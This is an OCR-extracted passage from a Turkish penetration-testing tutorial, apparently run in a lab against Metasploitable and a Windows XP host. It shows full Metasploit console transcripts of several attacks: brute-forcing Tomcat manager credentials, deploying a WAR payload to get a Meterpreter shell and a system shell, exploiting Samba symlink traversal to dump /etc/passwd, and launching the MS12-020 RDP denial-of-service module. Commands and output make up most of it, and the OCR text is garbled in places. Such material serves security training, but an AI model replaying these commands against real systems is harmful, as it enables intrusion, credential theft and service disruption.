[-] 192.168.1.31:8180 TOMCAT_MGR - [12/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'admin'

[*] 192.168.1.31:8180 TOMCAT_MGR - [13/56] - Trying username: 'manager' with

password: 'manager’

[-] 192.168.1.31:8180 TOMCAT_MGR - [13/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'manager'

[*] 192.168.1.31:8180 TOMCAT_MGR - [14/56] - Trying username:'rolel' with

password: 'rolel’

[-] 192.168.1.31:8180 TOMCAT_MGR - [14/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'rolel’

[*] 192.168.1.31:8180 TOMCAT_MGR - [15/56] - Trying username:'root' with password:'root'
[-] 192.168.1.31:8180 TOMCAT_MGR - [15/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'root'

[*] 192.168.1.31:8180 TOMCAT_MGR - [16/56] - Trying username:'tomcat' with

password: 'tomcat'

[+] http://192.168.1.31:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application
Manager] successful login 'tomcat' : 'tomcat'

[*] 192.168.1.31:8180 TOMCAT_MGR - [17/56] - Trying username: 'both' with password:'both'
[-] 192.168.1.31:8180 TOMCAT_MGR - [17/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'both'

[*] 192.168.1.31:8180 TOMCAT_MGR - [18/56] - Trying username:'j2deployer' with
password:'j2deployer'

[-] 192.168.1.31:8180 TOMCAT_MGR - [18/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'j2deployer'

[*] 192.168.1.31:8180 TOMCAT_MGR - [19/56] - Trying username: 'ovwebusr' with

password: 'ovwebusr'

[-] 192.168.1.31:8180 TOMCAT_MGR - [19/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'ovwebusr'

[*] 192.168.1.31:8180 TOMCAT_MGR - [20/56] - Trying username:'cxsdk' with

password: 'cxsdk'

[-] 192.168.1.31:8180 TOMCAT_MGR - [20/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'cxsdk'

[*] 192.168.1.31:8180 TOMCAT_MGR - [21/56] - Trying username:'ADMIN' with

password: 'ADMIN'

[-] 192.168.1.31:8180 TOMCAT_MGR - [21/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'ADMIN'

[*] 192.168.1.31:8180 TOMCAT_MGR - [22/56] - Trying username:'xampp' with

password: 'xampp'

[-] 192.168.1.31:8180 TOMCAT_MGR - [22/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'xampp'

[*] 192.168.1.31:8180 TOMCAT_MGR - [23/56] - Trying username:'ovwebusr' with

password: 'OviW*busri'

[-] 192.168.1.31:8180 TOMCAT_MGR - [23/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'ovwebusr'

[*] 192.168.1.31:8180 TOMCAT_MGR - [24/56] - Trying username:'cxsdk' with

password: 'kdsxc'

[-] 192.168.1.31:8180 TOMCAT MGR - [24/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
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Application Manager] failed to login as 'cxsdk'
[*] 192.168.1.31:8180 TOMCAT_MGR - [25/56] - Trying username: 'root' with
password: 'owaspbwa'
[-] 192.168.1.31:8180 TOMCAT_MGR - [25/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'root'
[*] 192.168.1.31:8180 TOMCAT_MGR - [26/56] - Trying username:'admin' with
password: 'manager’
[-] 192.168.1.31:8180 TOMCAT_MGR - [26/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'admin'
[*] 192.168.1.31:8180 TOMCAT_MGR - [27/56] - Trying username:'admin' with
password: 'rolel’
[-] 192.168.1.31:8180 TOMCAT_MGR - [27/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'admin'
[*] 192.168.1.31:8180 TOMCAT_MGR - [28/56] - Trying username:'admin' with
password: 'root'
[-] 192.168.1.31:8180 TOMCAT_MGR - [28/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'admin'
[*] 192.168.1.31:8180 TOMCAT_MGR - [29/56] - Trying username:'admin' with
password: 'tomcat'
[-] 192.168.1.31:8180 TOMCAT_MGR - [29/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'admin'
[*] 192.168.1.31:8180 TOMCAT_MGR - [30/56] - Trying username:'admin' with
password: 's3cret'
[-] 192.168.1.31:8180 TOMCAT_MGR - [30/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'admin'
[*] 192.168.1.31:8180 TOMCAT_MGR - [31/56] - Trying username: 'manager' with
password: 'admin'
[-] 192.168.1.31:8180 TOMCAT_MGR - [31/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'manager'
[*] 192.168.1.31:8180 TOMCAT_MGR - [32/56] - Trying username: 'manager' with
password: 'rolel’
[-] 192.168.1.31:8180 TOMCAT_MGR - [32/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'manager'
[*] 192.168.1.31:8180 TOMCAT_MGR - [33/56] - Trying username: 'manager' with
password: 'root'
[-] 192.168.1.31:8180 TOMCAT_MGR - [33/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'manager'
[*] 192.168.1.31:8180 TOMCAT_MGR - [34/56] - Trying username: 'manager' with
password: 'tomcat'
[-] 192.168.1.31:8180 TOMCAT_MGR - [34/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'manager'
[*] 192.168.1.31:8180 TOMCAT_MGR - [35/56] - Trying username: 'manager' with
password: 's3cret'
[-] 192.168.1.31:8180 TOMCAT_MGR - [35/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'manager'
[*] 192.168.1.31:8180 TOMCAT_MGR - [36/56] - Trying username:'rolel' with
password: 'admin'
[-] 192.168.1.31:8180 TOMCAT_MGR - [36/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'rolel'’
[*] 192.168.1.31:8180 TOMCAT_MGR - [37/56] - Trying username:'rolel' with
password: 'manager’
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[-] 192.168.1.31:8180 TOMCAT_MGR - [37/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'rolel’

[*] 192.168.1.31:8180 TOMCAT_MGR - [38/56] - Trying username:'rolel' with

password: 'root'

[-] 192.168.1.31:8180 TOMCAT_MGR - [38/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'rolel’

[*] 192.168.1.31:8180 TOMCAT_MGR - [39/56] - Trying username:'rolel' with

password: 'tomcat'

[-] 192.168.1.31:8180 TOMCAT_MGR - [39/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'rolel’

[*] 192.168.1.31:8180 TOMCAT_MGR - [40/56] - Trying username:'rolel' with

password: 's3cret'

[-] 192.168.1.31:8180 TOMCAT_MGR - [40/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'rolel’

[*] 192.168.1.31:8180 TOMCAT_MGR - [41/56] - Trying username: 'root' with

password: 'admin'

[-] 192.168.1.31:8180 TOMCAT_MGR - [41/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'root'

[*] 192.168.1.31:8180 TOMCAT_MGR - [42/56] - Trying username: 'root' with

password: 'manager’

[-] 192.168.1.31:8180 TOMCAT_MGR - [42/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'root'

[*] 192.168.1.31:8180 TOMCAT_MGR - [43/56] - Trying username: 'root' with

password: 'rolel’

[-] 192.168.1.31:8180 TOMCAT_MGR - [43/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'root'

[*] 192.168.1.31:8180 TOMCAT_MGR - [44/56] - Trying username: 'root' with

password: 'tomcat'

[-] 192.168.1.31:8180 TOMCAT_MGR - [44/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'root'

[*] 192.168.1.31:8180 TOMCAT_MGR - [45/56] - Trying username: 'root' with

password: 's3cret’

[-] 192.168.1.31:8180 TOMCAT_MGR - [45/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'root'

[*] 192.168.1.31:8180 TOMCAT_MGR - [46/56] - Trying username:'both' with

password: 'admin'

[-] 192.168.1.31:8180 TOMCAT_MGR - [46/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'both'

[*] 192.168.1.31:8180 TOMCAT_MGR - [47/56] - Trying username: 'both' with

password: 'manager’

[-] 192.168.1.31:8180 TOMCAT_MGR - [47/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'both'

[*] 192.168.1.31:8180 TOMCAT_MGR - [48/56] - Trying username:'both' with

password: 'rolel’

[-] 192.168.1.31:8180 TOMCAT_MGR - [48/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'both'

[*] 192.168.1.31:8180 TOMCAT_MGR - [49/56] - Trying username:'both' with password:'root'
[-] 192.168.1.31:8180 TOMCAT_MGR - [49/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'both'

[*] 192.168.1.31:8180 TOMCAT_MGR - [50/56] - Trying username:'both' with

password: 'tomcat'
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[-] 192.168.1.31:8180 TOMCAT_MGR - [50/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'both'

[*] 192.168.1.31:8180 TOMCAT_MGR - [51/56] - Trying username: 'both' with
password: 's3cret'
[-] 192.168.1.31:8180 TOMCAT_MGR - [51/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'both'
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Tomcat Uygulama Sunucusunun Ydnetim Kullanicisina Parola Analizi

Tomcat uygulama sunucusunun yonetim hesabinin ele gegirilmesi, yeni bir WAR arsivi
yuklenmesine imkan saglayabilmektedir. Boylece sisteme istenen bir WAR uygulama
arsivi yuklenerek yetkisiz erisim saglanabilir. Yonetim hesabi kullanilarak sisteme
yetkisiz erigsim saglayabilecek tomcat_mgr_deploy isimli exploit modulinun kullanimi
asagida gorulmektedir. Elde edilen kullanici hesabi ve parola kullanilarak hedefe yetkisiz
erisim saglanmistir.

Name:
Module:
Version:
Platform:
Privileged:
License:
Rank:

Provided by:
jduck <jduck@metasploit.com>

Apache Tomcat Manager Application Deployer Authenticated Code Execution

msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > info

exploit/multi/http/tomcat_mgr_deploy

15518
Java, Windows, Linux
No

Metasploit Framework License (BSD)

Excellent

Available targets:

Id Name

0 Automatic

1  Java Universal

2  Windows Universal
3  Linux x86

Basic options:

Name Current Setting Required
PASSWORD no
PATH /manager yes
Jundeploy will be used)
Proxies no
RHOST yes
RPORT 80 yes
USERNAME no
VHOST no

Description

The password for the specified username

The URI path of the manager app (/deploy and

Use a proxy chain

The target address

The target port

The username to authenticate as
HTTP server virtual host
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Payload information:

Description:
This module can be used to execute a payload on Apache Tomcat
servers that have an exposed "manager" application. The payload 1is
uploaded as a WAR archive containing a jsp application using a PUT
request. The manager application can also be abused using
/manager /html/upload, but that method is not implemented in this
module. NOTE: The compatible payload sets vary based on the selected
target. For example, you must select the Windows target to use
native Windows payloads.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3843
http://www.osvdb.org/60317
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4189
http://www.osvdb.org/60670
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4188
http://www.securityfocus.com/bid/38084
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0557
http://www-01.1bm.com/support/docview.wss?uid=swg21419179
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4094
http://www.zerodayinitiative.com/advisories/ZDI-10-214/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3548
http://www.osvdb.org/60176
http://www.securityfocus.com/bid/36954
http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html

msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.1.31
RHOST => 192.168.1.31

msf exploit(tomcat_mgr_deploy) > set RPORT 8180

RPORT => 8180

msf exploit(tomcat_mgr_deploy) > set PAYLOAD

set PAYLOAD generic/shell_reverse_tcp set PAYLOAD java/shell/bind_tcp
set PAYLOAD java/meterpreter/bind_tcp set PAYLOAD java/shell/reverse_tcp
set PAYLOAD java/meterpreter/reverse_http set PAYLOAD java/shell_reverse_tcp
msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/meterpreter/bind_tcp
PAYLOAD => java/meterpreter/bind_tcp

msf exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

Name Current Setting Required Description

PASSWORD no The password for the specified username

/undeploy will be used)
Proxies no Use a proxy chain
RHOST 192.168.1.31 yes The target address

set PAYLOAD generic/custom set PAYLOAD java/meterpreter/reverse_https
set PAYLOAD generic/shell_bind_tcp set PAYLOAD java/meterpreter/reverse_tcp

PATH /manager yes The URI path of the manager app (/deploy and
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RPORT
USERNAME
VHOST

8180

yes The target port
no The username to authenticate as
no HTTP server virtual host

Payload options (java/meterpreter/bind_tcp):

Name Current Setting Required Description
LPORT 4444 yes The listen port
RHOST 192.168.1.31 no The target address

Exploit target:

Id Name

0 Automatic

msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
USERNAME => tomcat

msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
PASSWORD => tomcat

msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler

[*] Attempting to automatically select a target...

[*] Automatically selected target "Linux x86"

[*] Uploading 6456 bytes as LzKIHXUCT20hzWOkndhkx8v3mgKA9N.war ...

[*] Executing /LzKIHXUCT20hzWOkndhkx8v3mgKAIN/jZZDigMKyKsvtwIX1R. jsp. ..

[*] Undeploying LzKIHXUCT20hzWOkndhkx8v3mgKASN ...

[*] Sending stage (30216 bytes) to 192.168.1.31

[*] Meterpreter session 1 opened (192.168.1.100:55834 -> 192.168.1.31:4444) at
201

meterpreter > ifconfig

Interface 1

Name

Interface 2

Name

: lo - 1o
Hardware MAC :
IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

00:00:00:00:00:00
127.0.0.1
255.0.0.0

il

: ethd - etho
Hardware MAC :
IPv4 Address :

00:00:00:00:00:00
192.168.1.31
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IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe20:519d
IPv6 Netmask : ::

meterpreter > getuid

Server username: tomcat55

meterpreter > sysinfo

Computer : metasploitable

0S ¢ Linux 2.6.24-16-server (1386)
Meterpreter : java/java

meterpreter > shell

Process 1 created.

Channel 1 created.

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
exit

Tomcat Uygulama Sunucusunun Ydnetim Kullanicisi ile Ele Gegirilmesi

Yardimci moduller sadece kullanici ve parola analizi veya surim analizi yapiimasinin
otesinde Ozelliklere de sahiptir. Ornegin Windows aglari ile dosya paylasimi igin
Linux/Unix platformlarinda kullanilan Samba sunucusunun, sembolik baglanti
olustururken dizin disina ¢ikabilme acgigr bulunmaktadir. Ag¢igin  kullanimi igin
kullanilabilecek yardimci modul ile kok dosya sistemini erigilebilen paylasimin igin
baglamak mimkudn olmaktadir.

Modulin kullanimi igcin  dncelikle Samba servisinin ¢alistiran bir hedefin varligi
arastinlmistir. Sonrasinda ise Metasploit Framework'in pargasi olmayan, ancak
denetmen sisteminde yUkli olan Samba istemcisinin smbclient araci ile hedefin
paylasimlari listelenmistir. Kullanilacak olan modul samba_symlink_traversal secilir ve
paylasim olarak erisilebilir bir paylasim (6rnegimizde tmp) parametre olarak verilir.
Modulin ac¢idi kullanarak hedef sistemin kok dizinini istenen isimle, belirtilen paylasima
baglamasi beklenir. Eger iglem basarili ise smbclient araci ile paylasima baglanilir ve
yetkisiz erigim saglanir.

msf > hosts
Hosts

address mac name 0S_name os_flavor os_sp
purpose 1info comments

192.168.1.31 08:00:27:20:51:9D metasploitable Linux Ubuntu

server

192.168.1.32 00:0c:29:dc:38:09 HACMEONE Microsoft Windows XP SP2
device
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msf > services -S samba

Services

host port proto name state 1info

msf > smbclient -L 192.168.1.31
[*] exec: smbclient -L 192.168.1.31

Enter root's password:

Domain=[WORKGROUP] 0S=[Unix] Server=[Samba 3.0.20-Debian]
Domain=[WORKGROUP] 0S=[Unix] Server=[Samba 3.0.20-Debian]
Anonymous login successful

Sharename Type Comment

prints$ Disk Printer Drivers

tmp Disk oh noes!

opt Disk

IPCS IPC IPC Service (metasploitable server (Samba
3.0.20-Debian))

ADMINS IPC IPC Service (metasploitable server (Samba

3.0.20-Debian))
Anonymous login successful

Server Comment
Mé;A;;LA;TABLE ;;;;;éioitable server (Samba 3.0.20-Debian)
Workgroup Master
wRkGROP

msf > search samba

Matching Modules

Name Disclosure Date
Description

auxiliary/admin/smb/samba_symlink_traversal
Samba Symlink Directory Traversal
auxiliary/dos/samba/lsa_addprivs_heap
Samba lsa_1io_privilege_set Heap Overflow

192.168.1.31 139  tcp netbios-ssn open  Samba smbd 3.X workgroup: WORKGROUP
192.168.1.31 445  tcp netbios-ssn open  Samba smbd 3.X workgroup: WORKGROUP

Rank

normal

normal
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auxiliary/dos/samba/1lsa_transnames_heap

Samba lsa_1io_trans_names Heap Overflow
exploit/freebsd/samba/trans2open

Samba trans2open Overflow (*BSD x86)
exploit/linux/samba/chain_reply

Samba chain_reply Memory Corruption (Linux x86)
exploit/linux/samba/1lsa_transnames_heap

Samba lsa_io_trans_names Heap Overflow
exploit/linux/samba/trans2open

Samba trans2open Overflow (Linux x86)
exploit/multi/samba/nttrans

Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
exploit/multi/samba/usermap_script

Samba "username map script" Command Execution
exploit/osx/samba/lsa_transnames_heap

Samba lsa_io_trans_names Heap Overflow
exploit/osx/samba/trans2open

Samba trans2open Overflow (Mac 0S X PPC)
exploit/solaris/samba/lsa_transnames_heap

Samba lsa_io_trans_names Heap Overflow
exploit/solaris/samba/trans2open

Samba trans2open Overflow (Solaris SPARC)
exploit/unix/webapp/citrix_access_gateway_exec

Citrix Access Gateway Command Execution
exploit/windows/http/sambar6_search_results

Sambar 6 Search Results Buffer Overflow
exploit/windows/license/calicclnt_getconfig 2005-03-02

Computer Associlates License Client GETCONFIG Overflow
post/linux/gather/enum_configs

Linux Gather Configurations

2003-04-07
2010-06-16
2007-05-14
2003-04-07
2003-04-07
2007-05-14
2007-05-14
2003-04-07
2007-05-14
2003-04-07
2010-12-21

2003-06-21

msf > use auxiliary/admin/smb/samba_symlink_traversal

msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.1.
RHOST => 192.168.1.31

msf auxiliary(samba_symlink_traversal) > info

Name: Samba Symlink Directory Traversal

Module:
Version:
License:

Rank:

Provided by:

kcope

auxiliary/admin/smb/samba_symlink_traversal
14976

Metasploit Framework License (BSD)

Normal

hdm <hdm@metasploit.com>

Basic options:

Name

RHOST

Current Setting Required Description

192.168.1.31

yes The target address

00:

00:

00:

00:

00:

00:

00:

00:

00:

00:

00:

00:

00:

31

00

00

00

00

00

00

00

00

00

00

00

00

00

:00

:00

:00

:00

:00

:00

:00

:00

:00

:00

:00

:00

:00

uTC

uTC

uTC

uTC

uTC

uTC

uTC

uTC

uTC

uTC

uTC

uTC

uTC

normal
great
good

good
great
average
excellent
average
great
average
great
excellent
normal
average

normal
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the root filesystem

Description:
This module exploits a directory traversal flaw in the Samba CIFS
server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystenm.

References:
http://www.osvdb.org/62145
http://www.samba.org/samba/news/symlink_attack.html

msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
SMBSHARE => tmp

msf auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...

[*] Trying to mount writeable share 'tmp'...

[*] Trying to link 'rootfs' to the root filesystem...

[*] Now access the following share to browse the root filesystem:
[*] \\192.168.1.31\tmp\rootfs\

[*] Auxiliary module execution completed

msf auxiliary(samba_symlink_traversal) > smbclient //192.168.1.31/tmp
[*] exec: smbclient //192.168.1.31/tmp

Enter root's password:

Domain=[WORKGROUP] 0S=[Unix] Server=[Samba 3.0.20-Debian]
Anonymous login successful

smb: \> cd rootfs

smb: \rootfs\> cd etc

smb: \rootfs\etc\> more passwd

getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.CgS2UL (396.5
KiloBytes/sec) (average 396.5 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync: /bin:/bin/sync
games:x:5:60:games: /usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
1p:x:7:7:1p:/var/spool/1lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh

RPORT 445 yes Set the SMB service port
SMBSHARE yes The name of a writeable share on the server
SMBTARGET rootfs yes The name of the directory that should point to
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backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:1ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/1ibuuid: /bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog: /bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd: /usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin: /bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534:: /home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534: : /usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001: just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service: /bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false

Samba Sunucusu Dizin Digina Cikma Ag¢iginin Kullanimi

3.4 Servis Engelleme

Birgcok guvenlik agiginin ilk istismar denemelerinde, sistemi normal igleyisinin disina
cikarmak hedeflenmektedir. Sonrasinda yetkisiz erisim ile istenen komut veya islemin
gerceklestiriimesi beklenir. ilk asamadaki normal isleyisin disina ¢ikmak, cogunlukla
uygulamanin veya servisin durdurulmasi ile sonuglanir. Eger gecerli bir istismar kodu ve
exploit modulu hazirlanmasi mumkun degilse, uzun sirecekse veya acigin kullaniminda
sadece servis durdurulabiliyorsa, bahsi ge¢cen acik sadece servis engelleme amagli
kullanilabilmektedir.

Yardimci modullerin sisteme yetkisiz erisim saglamaya ek olarak servis engelleme igin
hazirlanmis olanlari da bulunmaktadir. Sisteme yetkisiz erigsim saglayabilecek bir a¢igin
henlz exploit modulu hazirlanmamigsa, agigin gosterimi veya kontrolU igin bir servis
engelleme moduld hazirlanmaktadir. Yardimci moduller arasinda uygulama, sistem, ses
altyapisi ve kablosuz ag gibi cok farkli hedeflere yapilabilecek servis engelleme
saldirilar bulunmaktadir.
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Servis engelleme agciklari ginimuzde siklikla kullaniimakta, hedef sistemlerin hizmet
veremez duruma getiriimesi bir cezalandirma turt olarak tanitiimaktadir. Kurumlarin
sistemlerindeki tum guvenlik aciklarini saptama yukumlulugu ve detayr bilinmeyen
aciklarin bile servis engelleme amaclh kullanilabilecegi dikkate alinmalidir. Servis
engellemeye neden olabilecek guvenlik acgiklari hedeflerin bilgisi dahilinde yapilmali,
olusacak yan etkiler hizlica farkedilmeli ve giderilmelidir.

Ornekte Microsoft tarafindan yayinlanan MS12-020 givenlik duyurusundaki, Microsoft
Remote Desktop yaziliminin hatali bellek yénteminden kaynaklanan guvenlik agigi ve
servis engelleme icin kullanimi gosterilmektedir. A¢igin kullanimi ve sonuglarinda
belirsizlikler olusabilmektedir, bazi Windows surumlerinde sistem yeniden baslarken
bazilari sadece servis sunamaz hale gelmektedir. Ornekte bu tir bir acgiktan
etkilenebilecek Windows sistemler arastiriimig, agigin kullanimi icin gerekli olan RDP
servisinin varligi sorgulanmis ve modul kullanilarak servis engelleme saldirisi yapiimistir.
Modul RDP servisinin galistigini raporlasa bile sistem cevap veremez hale gelmis ve
saldiri basari ile sonuclanmistir.

msf > hosts

address mac name 0S_name os_flavor os_sp
purpose 1info comments

192.168.1.31 08:00:27:20:51:9D metasploitable Linux Ubuntu

server

192.168.1.32 00:0c:29:dc:38:09 HACMEONE Microsoft Windows XP SP2
device

msf > services -S rdp

Services

host port proto name state info

192.168.1.32 3389 tcp microsoft-rdp open Microsoft Terminal Service
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msf > search rdp

Matching Modules

Name Disclosure Date
Description

auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 00:00

MS12-020 Microsoft Remote Desktop Use-After-Free DoS
auxiliary/scanner/http/wordpress_login_enum

Wordpress Brute Force and User Enumeration Utility
exploit/unix/webapp/php_wordpress_foxypress 2012-06-05 00:00

WordPress plugin Foxypress uploadify.php Arbitrary Code Execution
exploit/unix/webapp/php_wordpress_lastpost 2005-08-09 00:00

WordPress cache_lastpostdate Arbitrary Code Execution
exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 00:00

PHP XML-RPC Arbitrary Code Execution
exploit/windows/fileformat/cain_abel 4918 rdp 2008-11-30 00:00

Cain & Abel <= v4.9.24 RDP Buffer Overflow
exploit/windows/fileformat/wireshark_packet_dect 2011-04-18 00:00

Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (local)
post/windows/gather/credentials/mremote

Windows Gather mRemote Saved Password Extraction
post/windows/gather/enum_termserv

Windows Gather Terminal Server Client Connection Information Dumper
post/windows/manage/enable_rdp

Windows Manage Enable Remote Desktop

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > info

Name: MS12-020 Microsoft Remote Desktop Use-After-Free DoS
Module: auxiliary/dos/windows/rdp/ms12_020_maxchannelids
Version: 0
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Luigi Auriemma
Daniel Godas-Lopez
Alex Ionescu
jduck <jduck@metasploit.com>
#ms12-020

Basic options:
Name Current Setting Required Description
RHOST yes The target address
RPORT 3389 yes The target port

100 UTC

100 UTC

100 UTC

100 UTC

100 UTC

100 UTC

Rank
normal
normal
excellent
excellent
excellent
good

good
normal
normal

normal
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Description:
This module exploits the MS12-020 RDP vulnerability originally
discovered and reported by Luigi Auriemma. The flaw can be found in
the way the T.125 ConnectMCSPDU packet is handled in the
maxChannelIDs field, which will result an invalid pointer being
used, therefore causing a denial-of-service condition.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0002
http://www.microsoft.com/technet/security/bulletin/MS12-020.mspx
http://www.privatepaste.com/ffe875e04a
http://pastie.org/private/4egcqtInucxnsiksudy5dw
http://pastie.org/private/feg8du®edkfagngdrrg
http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html
http://www.exploit-db.com/exploits/18606

msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.1.32
RHOST => 192.168.1.32
msf auxiliary(ms12_020_maxchannelids) > run

[*] 192.168.1.32:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.1.32:3389 - 210 bytes sent

[*] 192.168.1.32:3389 - Checking RDP status...

[*] 192.168.1.32:3389 is still up

[*] Auxiliary module execution completed

Microsoft MS12-020 RDP Giivenlik Acidi ile Servis Engelleme Denetimi
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3.5 Exploit islemi ve Dogru Payload'un Kullanimi

Sistem sizma asamasinda bir guvenlik agigi bulmak ve gecerli bir exploit moduline
sahip olmak tek basina yeterli olmamaktadir. Gegerli exploit modulinin c¢alismasi
sonrasinda hedef sistemde ne tir bir kod/uygulama calistiriimak istendigi ve hedef
sistemle nasil bir baglanti kurulabilecedi kritik dnemdedir. Bir sonraki bdlimde farkli
baglanti kosullari altinda nasil davranilabilecegi aktarilacaktir, Payload se¢imi de hem
baglanti tiri hem de exploit ile uyumluluk icermelidir.

Exploit modullerinin ¢ok farkh g¢alisma bigimleri vardir, bunun temel nedeni bir glivenlik
aciglyla her zaman standart bigimde karsilagiimamasidir. Genelde exploit modulleri
asagida listelenen bigimlerde calismaktadir, ancak istisnai durumlar ve farkli yéntemlere
de rastlanabilmektedir.

Hedefin bir servisini normal isleyisin disina ¢ikararak istenen Payload'u yuklemek

Hedefi sahte bir servis ile kargilamak ve istemci yaziliminin agigini kullanarak
Payload'u yuklemek

